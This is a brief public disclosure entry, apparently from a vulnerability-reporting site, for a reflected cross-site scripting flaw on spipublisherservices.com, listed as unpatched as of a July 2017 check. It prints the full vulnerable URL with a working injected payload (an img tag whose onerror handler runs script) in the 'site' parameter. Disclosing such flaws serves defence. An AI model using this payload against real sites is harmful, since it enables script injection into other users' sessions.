spipublisherservices.com XSS vulnerability

Vulnerable URL: http://www.spipublisherservices.com/pes/submit/auto/step1.php?site=xxx%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...